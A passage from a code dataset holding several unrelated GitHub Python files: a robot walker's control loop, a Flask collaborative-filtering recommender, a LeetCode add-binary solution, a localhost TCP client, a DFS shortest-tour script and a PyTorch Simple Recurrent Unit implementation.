time.sleep(0.1)\n else:\n if LD.obstacle_array[0, 1] > 1 or Infrared.distance_data[1:4].min() < 25:\n str1 = \"forward but obstacle\"\n CD.spe = CD.omegaed = CD.radius = 0\n continue\n CD.speed = 0.1\n CD.omega = 0\n CD.radius = 0\n str1 = \"forward\"\n elif action_label== 4 :\n if LD.obstacle_array[0, 0] > 1 or LD.obstacle_array[0, 3] > 1 or Infrared.distance_data[0] < 25:\n str1 = \"left in space but obstacle\"\n CD.speed = CD.omega = CD.radius = 0\n continue\n CD.speed = 0\n radius = abs(20*(center_left_boundry-current_position[1])/(max_boundary-center_left_boundry))\n if radius < 10:\n radius = 10\n CD.radius = 0\n CD.omega = 0.2\n str1 = \"left in space\"\n time.sleep(0.1)\n elif action_label== 5:\n if LD.obstacle_array[0, 2] > 1 or LD.obstacle_array[0, 4] > 1 or Infrared.distance_data[4] < 25:\n str1 = \"right in place but obstacle\"\n CD.spe = CD.omegaed = CD.radius = 0\n continue\n CD.speed = 0\n radius = abs(20*(current_position[3]-min_boundary)/(center_left_boundry-min_boundary))\n if radius < 10 :\n radius = 10\n CD.radius = 0\n CD.omega = -0.2\n str1 = \"right in space\"\n time.sleep(0.1)\n else:\n CD.speed=0\n CD.omega=0\n CD.radius = 0\n str1 = \"stop\"\n print(\"\\rleft leg:%.2f,%.2f right:%.2f,%.2f human:%.2f,%.2f choice:%s,%.2f,%.2f,%.2f \"\n %(current_position[0], current_position[1], current_position[2],\n current_position[3], current_position[4], current_position[5],str1,CD.speed,CD.omega,CD.radius),end=\"\")\n\n # record.append(str1)\n\n record = [action_label] + current_position.tolist() + list(IMU.a) + list(IMU.w) + list(IMU.Angle)\n file_record.write(str1+\" \"+str(record)+\"\\n\")\n file_record.flush()\n\n\nthread_leg = threading.Thread(target=LD.scan_procedure, args=(False,True,))\nthread_leg.start()\nthread_cd = threading.Thread(target=CD.control_part, args=())\nthread_main = threading.Thread(target=main_FFL, args=(CD, LD, Camera, FrontFollowingModel,file_path,IMU_human,skin,infrared))\n# thread_IMU_walker = threading.Thread(target=IMU_walker.read_record,args=())\nthread_IMU_human = threading.Thread(target=IMU_human.read_record,args=())\nthread_infrared = threading.Thread(target=infrared.read_data,args=())\nthread_skin = threading.Thread(target=skin.read_and_record,args=())\nthread_skin.start()\nthread_infrared.start()\n# thread_IMU_left = threading.Thread(target=IMU_left_leg.read_record,args=())\n# thread_IMU_right = threading.Thread(target=IMU_right_leg.read_record,args=())\n\ntime.sleep(2)\n# thread_cd.start()\nthread_main.start()\n# thread_IMU_human.start()\n# thread_IMU_walker.start()\nthread_IMU_human.start()\n# thread_IMU_walker.start()\n# thread_IMU_left.start()\n# thread_IMU_right.start()","repo_name":"zhaocy14/SmartWalker","sub_path":"NUC/FrontFollowing.py","file_name":"FrontFollowing.py","file_ext":"py","file_size_in_byte":10825,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"21363009301","text":"from flask import Flask, request, jsonify\nfrom flask_restx import Api, Resource # Api 구현을 위한 Api 객체 import\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport json\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.metrics.pairwise import cosine_similarity\n\napp = Flask(__name__)\napi = Api(app)\n\nroutines = pd.read_csv('routines1.csv', delimiter=\",\")\nratings = pd.read_csv('rating1.csv', delimiter=\",\")\n\n\ndef countVector(routines):\n # CountVectorizer\n count_vect = CountVectorizer(min_df=0, ngram_range=(1, 2))\n theme_mat = count_vect.fit_transform(routines['tags'])\n from sklearn.metrics.pairwise import cosine_similarity\n\n theme_sim = cosine_similarity(theme_mat, theme_mat)\n # print(theme_sim.shape)\n theme_sim[:1]\n\n theme_sim_sorted_ind = theme_sim.argsort()[:, ::-1]\n # print(theme_sim_sorted_ind[:1])\n\n return theme_sim_sorted_ind\n\n\npercentile = 0.2\nm = np.quantile(routines['count'], percentile)\nc = np.mean(routines['avgPreference'])\n\n\ndef weighted_avgPreference(record):\n v = record['count']\n r = record['avgPreference']\n weighted = ((v / (v + m)) * r) + ((m / (m + v)) * c)\n\n return weighted\n\n\ndef find_sim_routine(df, sorted_ind, title_name, top_n=10):\n routine_title = df[df['Id'] == title_name]\n title_index = routine_title.index.values\n\n # top_n에 해당하는 태그 유사성이 높은 인덱스 추출\n similar_indexes = sorted_ind[title_index, :(top_n)]\n similar_indexes = similar_indexes.reshape(-1)\n\n # 기준 루틴 인덱스는 제외\n similar_indexes = similar_indexes[similar_indexes != title_index]\n\n # print(df.iloc[similar_indexes].sort_values('weighted_avg', ascending=False)[:top_n])\n\n temp = df.iloc[similar_indexes].sort_values('weighted_avg', ascending=False)[:top_n]\n temp_ids = temp['Id'].values.tolist()\n print(temp_ids)\n # print(similar_indexes)\n\n return temp_ids\n\n\n# 아이템 협업\ndef data_cleansing(routines, ratings):\n # ratings 데이터와 routine 데이터 결합\n rating_routines = pd.merge(ratings, routines, on=\"sharedRoutineId\")\n\n # 사용자-아이템 평점 행렬 생성\n ratings_matrix = rating_routines.pivot_table(\"preference\", \"memberId\", \"sharedRoutineId\")\n\n # NaN값은 0으로 변환\n ratings_matrix.fillna(0, inplace=True)\n\n\n return ratings_matrix\n\n\n# 인수로 사용자-아이템 평점 행렬(NaN은 현재 0으로 대체), 아이템 유사도 행렬 사용\ndef predict_rating(ratings_arr, item_sim_arr):\n # ratings_arr: u x i, item_sim_arr: i x i\n sum_sr = ratings_arr @ item_sim_arr\n sum_s_abs = np.array([np.abs(item_sim_arr).sum(axis=1)])\n\n ratings_pred = sum_sr / sum_s_abs\n\n return ratings_pred\n\n\ndef predict_rating_topsim(ratings_arr, item_sim_arr, N=4):\n # 사용자-아이템 평점 행렬 크기만큼 0으로 채운 예측 행렬 초기화\n pred = np.zeros(ratings_arr.shape)\n\n # 사용자-아이템 평점 행렬의 열 크기(아이템 수)만큼 반복 (row: 사용자, col: 아이템)\n for col in range(ratings_arr.shape[1]):\n\n # 특정 아이템의 유사도 행렬 오름차순 정렬시 index .. (1)\n temp = np.argsort(item_sim_arr[:, col])\n\n # (1)의 index를 역순으로 나열시 상위 N개의 index = 특정 아이템의 유사도 상위 N개 아이템 index .. (2)\n top_n_items = [temp[:-1 - N:-1]]\n\n # 개인화된 예측 평점을 계산: 반복당 특정 아이템의 예측 평점(사용자 전체)\n for row in range(ratings_arr.shape[0]):\n # (2)의 유사도 행렬\n item_sim_arr_topN = item_sim_arr[col, :][top_n_items].T # N x 1\n\n # (2)의 실제 평점 행렬\n ratings_arr_topN = ratings_arr[row, :][top_n_items] # 1 x N\n\n # 예측 평점\n pred[row, col] = ratings_arr_topN @ item_sim_arr_topN\n pred[row, col] /= np.sum(np.abs(item_sim_arr_topN))\n\n return pred\n\n\n# 아직 보지 않은 루틴 리스트 함수\ndef get_unseen_routines(ratings_matrix, userId):\n # user_rating: userId의 아이템 평점 정보 (시리즈 형태: title을 index로 가진다.)\n user_rating = ratings_matrix.loc[userId, :]\n\n # user_rating=0인 아직 안본 루틴\n unseen_routine_list = user_rating[user_rating == 0].index.tolist()\n\n # 모든 영화명을 list 객체로 만듬.\n routines_list = ratings_matrix.columns.tolist()\n\n # 한줄 for + if문으로 안본 영화 리스트 생성\n unseen_list = [routine for routine in routines_list if routine in unseen_routine_list]\n\n return unseen_list\n\n\n# 보지 않은 루틴 중 예측 높은 순서로 시리즈 반환\ndef recomm_routine_by_userid(pred_df, userId, unseen_list, top_n=10):\n recomm_routines = pred_df.loc[userId, unseen_list].sort_values(ascending=False)[:top_n]\n\n return recomm_routines\n\n\ndef make_matrix(ratings_matrix_T, ratings_matrix):\n # 아이템 유사도 행렬\n item_sim = cosine_similarity(ratings_matrix_T, ratings_matrix_T)\n\n # 데이터 프레임 형태로 저장\n item_sim_df = pd.DataFrame(item_sim, index=ratings_matrix_T.index, columns=ratings_matrix_T.index)\n\n ratings_pred = predict_rating_topsim(ratings_matrix.values, item_sim_df.values, N=4)\n\n return ratings_pred\n\n\n@api.route(\"/cb/\", methods=['GET'])\nclass cb(Resource):\n def get(self, id):\n theme_sim_sorted_ind = countVector(routines)\n\n routines['weighted_avg'] = routines.apply(weighted_avgPreference, axis=1)\n\n similar_routines = find_sim_routine(routines.sort_values('weighted_avg', ascending=False), theme_sim_sorted_ind,\n id, 3)\n\n message = {\n \"id\": similar_routines\n }\n # json_data = json.dumps(message)\n return jsonify(message)\n\n\n\n\n@api.route(\"/recommend/\", methods=['GET'])\nclass recommend(Resource):\n def get(self, id):\n # 아이템-사용자 평점 행렬로 전치\n ratings_matrix = data_cleansing(routines,ratings)\n ratings_matrix_T = ratings_matrix.T\n\n ratings_pred =make_matrix(ratings_matrix_T,ratings_matrix)\n\n # 예측 평점 데이터 프레임\n ratings_pred_matrix = pd.DataFrame(data=ratings_pred, index=ratings_matrix.index,\n columns=ratings_matrix.columns)\n\n # 아직 보지 않은 영화 리스트\n unseen_list = get_unseen_routines(ratings_matrix, id)\n\n # 아이템 기반의 최근접 이웃 협업 필터링으로 영화 추천\n recomm_routines = recomm_routine_by_userid(ratings_pred_matrix, id, unseen_list, top_n=4)\n\n # 데이터 프레임 생성\n #recomm_routines = pd.DataFrame(data=recomm_routines.values, index=recomm_routines.index, columns=['pred_score'])\n print(recomm_routines.index.tolist())\n ids=recomm_routines.index.tolist()\n\n #temp_ids = recomm_routines['sharedRoutineId'].values.tolist()\n\n message = {\n \"id\": ids\n }\n # json_data = json.dumps(message)\n return jsonify(message)\n\n\nif __name__ == 'main':\n app.run(host=\"0.0.0.0\", port=5000)\n","repo_name":"phso7276/Recommend_Godtiner","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":7247,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"74546441012","text":"class Solution:\n def addBinary(self, a, b):\n \"\"\"\n :type a: str\n :type b: str\n :rtype: str\n \"\"\"\n ## Recursively binary add.\n if len(a) == 0:\n return b\n if len(b) == 0:\n return a\n\n if a[-1] == '1' and b[-1] == '1':\n return self.addBinary(self.addBinary(a[:-1], b[:-1]), '1') + '0'\n elif a[-1] == '0' and b[-1] == '0':\n return self.addBinary(a[:-1], b[:-1]) + '0'\n else:\n return self.addBinary(a[:-1], b[:-1]) + '1'\n\n def addBinary1(self, a, b):\n #iteratively\n carry_in, index = '0', 0\n result = ''\n\n while index < max(len(a), len(b)) or carry_in == '1':\n num_a = a[-1-index] if index < len(a) else '0'\n num_b = b[-1-index] if index < len(b) else '0'\n\n val = int(num_a) + int(num_b) + int(carry_in)\n result += str(val % 2)\n carry_in = '1' if val > 1 else '0'\n index += 1\n return result\n\n def addBinary2(self, a,b):\n def addBinary(self, a, b):\n return bin(eval(\"0b\" + a) + eval(\"0b\" + b))[2:]\n\n\na = '1010'\nb = '1011'\n\nA = Solution()\nB = A.addBinary(a, b)\n\nprint(B)","repo_name":"yuzhenbo/leetcode","sub_path":"leetcode/self/67_Add_Binary.py","file_name":"67_Add_Binary.py","file_ext":"py","file_size_in_byte":1221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"20718294402","text":"import socket\n\n\nclass TCPclient():\n def __init__(self,sms) :\n self.target_ip= 'localhost'\n self.target_port= 9998\n self.send_and_recv_data= {}\n \n self.client_sms= bytes(sms,'utf-8')\n \n\n self.send_and_recv_data.update({len(self.send_and_recv_data): sms})\n\n\n def issue_client(self):\n client=socket.socket(socket.AF_INET, socket.SOCK_STREAM) #ချိတ်တဲ့အပိုင်း (ipv4, TCP)\n client.connect((self.target_ip,self.target_port)) #ချိတ်တဲ့အပိုင်း ip, port\n\n client.send(self.client_sms) #ဘိုဒ်ဒေတာကို ပို့တာ\n\n receive_from_server= client.recv(4096) #serverကနေလက်ခံတာ \n recv_sms= receive_from_server.decode(\"utf-8\") \n\n\n \n self.send_and_recv_data.update({len(self.send_and_recv_data):recv_sms})\n print(\"$:\",recv_sms)\n \n client.close()\n\n\nif __name__ == \"__main__\":\n while True:\n sms:str= input(\"Enter some data to send:\")\n tcp_client= TCPclient(sms)\n tcp_client.issue_client()","repo_name":"FurryForWhat/DSA","sub_path":"Auction/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":1138,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21296205934","text":"import sys\nsys.setrecursionlimit(10000)\nsys.stdin = open(__file__.split('\\\\')[-1][:-3] + '.txt','r')\n\nN = int(sys.stdin.readline())\n\nNbyN = [[0] * N for _ in range(N)]\nfor i in range(N):\n local = list(map(int, sys.stdin.readline().split()))\n for j in range(N):\n NbyN[i][j] = local[j]\n\n#print(NbyN)\n\n# 4개를 dfs로 탐색할 수 있다, 힙을 다용한 다익스사라도\n# 사용 가능할 것처럼 보이는데 \n# \n\ndef dfs(vil, num, visited, origin):\n print(dic)\n local = []\n if num == N:\n return NbyN[vil][origin] if NbyN[vil][origin] else 2 ** 31 - 1\n for i in range(N):\n if NbyN[vil][i] and visited[i] == 0:\n visited[i] = 1\n local.append(dfs(i, num + 1, visited, origin) + NbyN[vil][i])\n visited[i] = 0\n if not local:\n return 2 ** 31 - 1\n return min(local)\n\nmin_value = 2 ** 31 - 1\nfor i in range(N):\n visited = [0] * N\n visited[i] = 1\n local = dfs(i, 1, visited, i)\n if local < min_value:\n min_value = local\n\nprint(min_value)","repo_name":"sangbumlikeagod/backjoon","sub_path":"Silver/10971.py","file_name":"10971.py","file_ext":"py","file_size_in_byte":1039,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"31302397902","text":"from collections import namedtuple\n\nimport logging\nimport math\nimport os\nimport platform\nimport re\nimport subprocess\n\nfrom torch.autograd import Function\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.utils as utils\n\nlogger = logging.getLogger(__name__)\n\n\n# This SRU version implements its own cuda-level optimization,\n# so it requires that:\n# 1. `cupy` and `pynvrtc` python package installed.\n# 2. pytorch is built with cuda support.\n# 3. library path set: export LD_LIBRARY_PATH=.\ndef check_sru_requirement(abort=False): # pragma: no cover\n \"\"\"\n Return True if check pass; if check fails and abort is True,\n raise an Exception, othereise return False.\n \"\"\"\n # Check 1.\n try:\n if platform.system() == 'Windows':\n subprocess.check_output('pip freeze | findstr cupy', shell=True)\n subprocess.check_output('pip freeze | findstr pynvrtc', shell=True)\n else: # Unix-like systems\n subprocess.check_output('pip freeze | grep -w cupy', shell=True)\n subprocess.check_output('pip freeze | grep -w pynvrtc', shell=True)\n except subprocess.CalledProcessError:\n if not abort:\n return False\n raise AssertionError(\"Using SRU requires 'cupy' and 'pynvrtc' \"\n \"python packages installed.\")\n\n # Check 2.\n if torch.cuda.is_available() is False:\n if not abort:\n return False\n raise AssertionError(\"Using SRU requires pytorch built with cuda.\")\n\n # Check 3.\n pattern = re.compile(\".*cuda/lib.*\")\n ld_path = os.getenv('LD_LIBRARY_PATH', \"\")\n if re.match(pattern, ld_path) is None:\n if not abort:\n return False\n raise AssertionError(\"Using SRU requires setting cuda lib path, e.g. \"\n \"export LD_LIBRARY_PATH=/usr/local/cuda/lib64.\")\n\n return True\n\n\nif check_sru_requirement(): # pragma: no cover\n from cupy.cuda import function\n from pynvrtc.compiler import Program\n\n # This cuda() is important, it sets up device to use.\n tmp_ = torch.rand(1, 1).cuda()\n\n SRU_CODE = open('sru.cu').read()\n SRU_PROG = Program(SRU_CODE.encode('utf-8'), 'sru_prog.cu'.encode('utf-8'))\n SRU_PTX = SRU_PROG.compile()\n\n Stream = namedtuple('Stream', ['ptr'])\n\n\nclass _SRUComputeGPU(Function): # pragma: no cover\n \"\"\"\n Compute SRU with a GPU employing the use of CUDA.\n \"\"\"\n\n _DEVICE2FUNC = {}\n\n def __init__(self, activation_type, d_out, bidirectional=False, scale_x=1):\n super(_SRUComputeGPU, self).__init__()\n # Raise error if requirements are not installed\n check_sru_requirement(abort=True)\n self.activation_type = activation_type\n self.d_out = d_out\n self.bidirectional = bidirectional\n self.scale_x = scale_x\n\n def compile_functions(self):\n device = torch.cuda.current_device()\n logger.info('SRU loaded for gpu {}'.format(device))\n mod = function.Module()\n mod.load(bytes(SRU_PTX.encode()))\n fwd_func = mod.get_function('sru_fwd')\n bwd_func = mod.get_function('sru_bwd')\n bifwd_func = mod.get_function('sru_bi_fwd')\n bibwd_func = mod.get_function('sru_bi_bwd')\n\n current_stream = Stream(ptr=torch.cuda.current_stream().cuda_stream)\n\n self._DEVICE2FUNC[device] = (current_stream, fwd_func, bifwd_func, bwd_func, bibwd_func)\n return current_stream, fwd_func, bifwd_func, bwd_func, bibwd_func\n\n def get_functions(self):\n res = self._DEVICE2FUNC.get(torch.cuda.current_device(), None)\n return res if res else self.compile_functions()\n\n def forward(self, u, x, bias, init=None, mask_h=None):\n bidir = 2 if self.bidirectional else 1\n length = x.size(0) if x.dim() == 3 else 1\n batch = x.size(-2)\n d = self.d_out\n k = u.size(-1) // d\n k_ = k // 2 if self.bidirectional else k\n ncols = batch * d * bidir\n thread_per_block = min(512, ncols)\n num_block = (ncols - 1) // thread_per_block + 1\n\n init_ = x.new(ncols).zero_() if init is None else init\n size = (length, batch, d * bidir) if x.dim() == 3 else (batch, d * bidir)\n c = x.new(*size)\n h = x.new(*size)\n\n scale_x = self.scale_x\n if k_ == 3:\n x_ptr = x.contiguous() * scale_x if scale_x != 1 else x.contiguous()\n x_ptr = x_ptr.data_ptr()\n else:\n x_ptr = 0\n\n stream, fwd_func, bifwd_func, _, _ = self.get_functions()\n FUNC = fwd_func if not self.bidirectional else bifwd_func\n FUNC(\n args=[\n u.contiguous().data_ptr(), x_ptr,\n bias.data_ptr(),\n init_.contiguous().data_ptr(),\n mask_h.data_ptr() if mask_h is not None else 0, length, batch, d, k_,\n h.data_ptr(),\n c.data_ptr(), self.activation_type\n ],\n block=(thread_per_block, 1, 1),\n grid=(num_block, 1, 1),\n stream=stream)\n\n self.save_for_backward(u, x, bias, init, mask_h)\n self.intermediate = c\n if x.dim() == 2:\n last_hidden = c\n elif self.bidirectional:\n last_hidden = torch.cat((c[-1, :, :d], c[0, :, d:]), dim=1)\n else:\n last_hidden = c[-1]\n return h, last_hidden\n\n def backward(self, grad_h, grad_last):\n bidir = 2 if self.bidirectional else 1\n u, x, bias, init, mask_h = self.saved_tensors\n c = self.intermediate\n scale_x = self.scale_x\n length = x.size(0) if x.dim() == 3 else 1\n batch = x.size(-2)\n d = self.d_out\n k = u.size(-1) // d\n k_ = k // 2 if self.bidirectional else k\n ncols = batch * d * bidir\n thread_per_block = min(512, ncols)\n num_block = (ncols - 1) // thread_per_block + 1\n\n init_ = x.new(ncols).zero_() if init is None else init\n grad_u = u.new(*u.size())\n grad_bias = x.new(2, batch, d * bidir)\n grad_init = x.new(batch, d * bidir)\n\n # Normal use\n grad_x = x.new(*x.size()) if k_ == 3 else None\n\n if k_ == 3:\n x_ptr = x.contiguous() * scale_x if scale_x != 1 else x.contiguous()\n x_ptr = x_ptr.data_ptr()\n else:\n x_ptr = 0\n\n stream, _, _, bwd_func, bibwd_func = self.get_functions()\n FUNC = bwd_func if not self.bidirectional else bibwd_func\n FUNC(\n args=[\n u.contiguous().data_ptr(), x_ptr,\n bias.data_ptr(),\n init_.contiguous().data_ptr(),\n mask_h.data_ptr() if mask_h is not None else 0,\n c.data_ptr(),\n grad_h.contiguous().data_ptr(),\n grad_last.contiguous().data_ptr(), length, batch, d, k_,\n grad_u.data_ptr(),\n grad_x.data_ptr() if k_ == 3 else 0,\n grad_bias.data_ptr(),\n grad_init.data_ptr(), self.activation_type\n ],\n block=(thread_per_block, 1, 1),\n grid=(num_block, 1, 1),\n stream=stream)\n\n if k_ == 3 and scale_x != 1:\n grad_x.mul_(scale_x)\n return grad_u, grad_x, grad_bias.sum(1).view(-1), grad_init, None\n\n\ndef _sru_compute_cpu(activation_type, d, bidirectional=False, scale_x=1):\n \"\"\"CPU version of the core SRU computation.\n\n Has the same interface as _SRUComputeGPU() but is a regular Python function\n instead of a torch.autograd.Function because we don't implement backward()\n explicitly.\n \"\"\"\n\n def sru_compute_cpu(u, x, bias, init=None, mask_h=None):\n bidir = 2 if bidirectional else 1\n length = x.size(0) if x.dim() == 3 else 1\n batch = x.size(-2)\n k = u.size(-1) // d // bidir\n\n if mask_h is None:\n mask_h = 1\n\n u = u.view(length, batch, bidir, d, k)\n\n x_tilde = u[..., 0]\n\n forget_bias, reset_bias = bias.view(2, bidir, d)\n forget = (u[..., 1] + forget_bias).sigmoid()\n reset = (u[..., 2] + reset_bias).sigmoid()\n\n if k == 3:\n x_prime = x.view(length, batch, bidir, d)\n x_prime = x_prime * scale_x if scale_x != 1 else x_prime\n else:\n x_prime = u[..., 3]\n\n h = x.new_empty(length, batch, bidir, d)\n\n if init is None:\n c_init = x.new_zeros(batch, bidir, d)\n else:\n c_init = init.view(batch, bidir, d)\n\n c_final = []\n for di in range(bidir):\n if di == 0:\n time_seq = range(length)\n else:\n time_seq = range(length - 1, -1, -1)\n\n c_prev = c_init[:, di, :]\n for t in time_seq:\n c_t = (c_prev - x_tilde[t, :, di, :]) * forget[t, :, di, :] + x_tilde[t, :, di, :]\n c_prev = c_t\n\n if activation_type == 0:\n g_c_t = c_t\n elif activation_type == 1:\n g_c_t = c_t.tanh()\n elif activation_type == 2:\n g_c_t = nn.functional.relu(c_t)\n elif activation_type == 3:\n g_c_t = nn.functional.selu(c_t)\n\n h[t, :, di, :] = ((g_c_t * mask_h - x_prime[t, :, di, :]) * reset[t, :, di, :] +\n x_prime[t, :, di, :])\n\n c_final.append(c_t)\n\n return h.view(length, batch, -1), torch.stack(c_final, dim=1).view(batch, -1)\n\n return sru_compute_cpu\n\n\nclass SRUCell(nn.Module):\n \"\"\" Simple Recurrent Unit (SRU) cell\n\n A recurrent cell that simplifies the computation and exposes more parallelism. In SRU, the\n majority of computation for each step is independent of the recurrence and can be easily\n parallelized. SRU is as fast as a convolutional layer and 5-10x faster than an optimized\n LSTM implementation.\n\n **Thank you** to taolei87 for their initial implementation of :class:`SRU`. Here is\n their `License\n `__.\n\n Args:\n input_size: The number of expected features in the input.\n hidden_size: The number of features in the hidden state.\n nonlinearity: The non-linearity to use ['tanh'|'relu'|'selu'|''].\n highway_bias: If ``False``, then the layer does not use highway bias weights b_ih and b_hh.\n stacked_dropout: If non-zero, introduces a stacked dropout layer on the outputs of each\n RNN layer except the last layer\n recurrent_dropout: If non-zero, introduces a recurrent dropout layer on the outputs of each\n RNN layer except the last layer\n bidirectional: If ``True``, becomes a bidirectional RNN.\n \"\"\"\n\n def __init__(self,\n input_size,\n hidden_size,\n nonlinearity='tanh',\n highway_bias=0,\n stacked_dropout=0,\n recurrent_dropout=0,\n bidirectional=False):\n super(SRUCell, self).__init__()\n self.input_size = input_size\n self.hidden_size = hidden_size\n self.recurrent_dropout = recurrent_dropout\n self.stacked_dropout = stacked_dropout\n self.bidirectional = bidirectional\n self.highway_bias = highway_bias\n self.activation_type = 0\n self.nonlinearity = nonlinearity\n if nonlinearity.lower() == '':\n self.activation_type = 0\n elif nonlinearity.lower() == 'tanh':\n self.activation_type = 1\n elif nonlinearity.lower() == 'relu':\n self.activation_type = 2\n elif nonlinearity.lower() == 'selu':\n self.activation_type = 3\n else:\n raise ValueError(\n 'WARNING: Activation functions must be either: `relu`, `tanh` or `selu`')\n\n out_size = hidden_size * 2 if bidirectional else hidden_size\n k = 4 if input_size != out_size else 3\n self.k = k\n self.size_per_dir = hidden_size * k\n self.weight = nn.Parameter(\n torch.Tensor(input_size, self.size_per_dir * 2 if bidirectional else self.size_per_dir))\n self.bias = nn.Parameter(\n torch.Tensor(hidden_size * 4 if bidirectional else hidden_size * 2))\n self.init_weight()\n\n def init_weight(self, rescale=True):\n # initialize weights such that E[w_ij]=0 and Var[w_ij]=1/d\n val_range = (3.0 / self.input_size)**0.5\n self.weight.data.uniform_(-val_range, val_range)\n\n # initialize bias\n self.bias.data.zero_()\n bias_val, hidden_size = self.highway_bias, self.hidden_size\n if self.bidirectional:\n self.bias.data[hidden_size * 2:].zero_().add_(bias_val)\n else:\n self.bias.data[hidden_size:].zero_().add_(bias_val)\n\n self.scale_x = 1\n\n if rescale:\n self.scale_x = (1 + math.exp(bias_val) * 2)**0.5\n\n # re-scale weights in case there's dropout\n w = self.weight.data.view(self.input_size, -1, self.hidden_size, self.k)\n if self.stacked_dropout > 0:\n w[:, :, :, 0].mul_((1 - self.stacked_dropout)**0.5)\n if self.recurrent_dropout > 0:\n w.mul_((1 - self.recurrent_dropout)**0.5)\n if self.k == 4:\n w[:, :, :, 3].mul_(self.scale_x)\n\n def forward(self, input_, c0=None):\n \"\"\"\n Args:\n input_ (seq_length, batch, input_size): Tensor containing input features.\n c0 (batch, hidden_size * num_directions): Tensor containing the initial\n hidden state for each element in the batch.\n Returns:\n output (seq_length, batch, hidden_size * num_directions): Tensor containing output\n features from the last layer of the RNN\n c0 (batch, hidden_size * num_directions): Tensor containing the initial\n hidden state for each element in the batch.\n \"\"\"\n assert input_.dim() == 2 or input_.dim() == 3\n input_size, hidden_size = self.input_size, self.hidden_size\n batch = input_.size(-2)\n if c0 is None:\n c0 = input_.new_zeros(batch, hidden_size if not self.bidirectional else hidden_size * 2)\n\n if self.training and (self.recurrent_dropout > 0):\n mask = self.get_dropout_mask_((batch, input_size), self.recurrent_dropout)\n x = input_ * mask.expand_as(input_)\n else:\n x = input_\n\n x_2d = x if x.dim() == 2 else x.contiguous().view(-1, input_size)\n u = x_2d.mm(self.weight)\n\n if input_.is_cuda: # pragma: no cover\n SRU_Compute = _SRUComputeGPU(self.activation_type, hidden_size, self.bidirectional,\n self.scale_x)\n else:\n SRU_Compute = _sru_compute_cpu(self.activation_type, hidden_size, self.bidirectional,\n self.scale_x)\n\n mask_h = None\n if self.training and (self.stacked_dropout > 0):\n bidir = 2 if self.bidirectional else 1\n mask_h = self.get_dropout_mask_((batch, hidden_size * bidir), self.stacked_dropout)\n\n return SRU_Compute(u, input_, self.bias, c0, mask_h)\n\n def get_dropout_mask_(self, size, p):\n w = self.weight.data\n return w.new(*size).bernoulli_(1 - p).div_(1 - p)\n\n def __repr__(self):\n s = '{name}({input_size}, {hidden_size}'\n if self.nonlinearity != 'tanh':\n s += ', nonlinearity={nonlinearity}'\n if self.bias is not True:\n s += ', highway_bias={highway_bias}'\n if self.stacked_dropout != 0:\n s += ', stacked_dropout={stacked_dropout}'\n if self.recurrent_dropout != 0:\n s += ', recurrent_dropout={recurrent_dropout}'\n if self.bidirectional is not False:\n s += ', bidirectional={bidirectional}'\n s += ')'\n return s.format(name=self.__class__.__name__, **self.__dict__)\n\n\nclass SRU(nn.Module):\n \"\"\" Simple Recurrent Unit (SRU) module\n\n A recurrent unit that simplifies the computation and exposes more parallelism. In SRU, the\n majority of computation for each step is independent of the recurrence and can be easily\n parallelized. SRU is as fast as a convolutional layer and 5-10x faster than an optimized\n LSTM implementation.\n\n **Thank you** to taolei87 for their initial implementation of :class:`SRU`. Here is\n their `SRU_License`_.\n\n Args:\n input_size: The number of expected features in the input.\n hidden_size: The number of features in the hidden state.\n num_layers: Number of recurrent layers.\n nonlinearity: The non-linearity to use ['tanh'|'relu'|'selu'].\n highway_bias: If ``False``, then the layer does not use highway bias weights b_ih and b_hh.\n stacked_dropout: If non-zero, introduces a stacked dropout layer on the outputs of each\n RNN layer except the last layer\n recurrent_dropout: If non-zero, introduces a recurrent dropout layer on the outputs of each\n RNN layer except the last layer\n bidirectional: If ``True``, becomes a bidirectional RNN.\n\n .. _SRU_License:\n https://github.com/taolei87/sru/blob/de3a97f4173f2fa00a949ae3aab31cb9b2f49b65/LICENSE\n \"\"\"\n\n def __init__(\n self,\n input_size,\n hidden_size,\n num_layers=2,\n nonlinearity='tanh',\n highway_bias=0,\n stacked_dropout=0,\n recurrent_dropout=0,\n bidirectional=False,\n ):\n super(SRU, self).__init__()\n self.input_size = input_size\n self.hidden_size = hidden_size\n self.num_layers = num_layers\n self.stacked_dropout = stacked_dropout\n self.recurrent_dropout = recurrent_dropout\n self.rnn_list = nn.ModuleList()\n self.bidirectional = bidirectional\n self.out_size = hidden_size * 2 if bidirectional else hidden_size\n self.nonlinearity = nonlinearity\n self.highway_bias = highway_bias\n\n for i in range(num_layers):\n layer = SRUCell(\n input_size=self.input_size if i == 0 else self.out_size,\n hidden_size=self.hidden_size,\n stacked_dropout=stacked_dropout if i + 1 != num_layers else 0,\n recurrent_dropout=recurrent_dropout,\n bidirectional=bidirectional,\n nonlinearity=nonlinearity,\n highway_bias=highway_bias)\n self.rnn_list.append(layer)\n\n def forward(self, input_, c0=None):\n \"\"\"\n Args:\n input_ (seq_length, batch, input_size): Tensor containing input features.\n c0 (torch.num_layers, batch, hidden_size * num_directions): Tensor containing the\n initial hidden state for each element in the batch.\n Returns:\n output (seq_length, batch, hidden_size * num_directions): Tensor containing output\n features from the last layer of the RNN\n c0 (num_layers, batch, hidden_size * num_directions): Tensor containing the initial\n hidden state for each element in the batch.\n \"\"\"\n is_packed = isinstance(input_, utils.rnn.PackedSequence)\n if is_packed:\n input_, lengths = utils.rnn.pad_packed_sequence(input_, batch_first=False)\n\n assert input_.dim() == 3 # (len, batch, input_size)\n dir_ = 2 if self.bidirectional else 1\n if c0 is None:\n zeros = input_.new_zeros(input_.size(1), self.hidden_size * dir_)\n c0 = [zeros for i in range(self.num_layers)]\n else:\n assert c0.dim() == 3 # (num_layers, batch, hidden_size*dir_)\n c0 = [x.squeeze(0) for x in c0.chunk(self.num_layers, 0)]\n\n prevx = input_\n lstc = 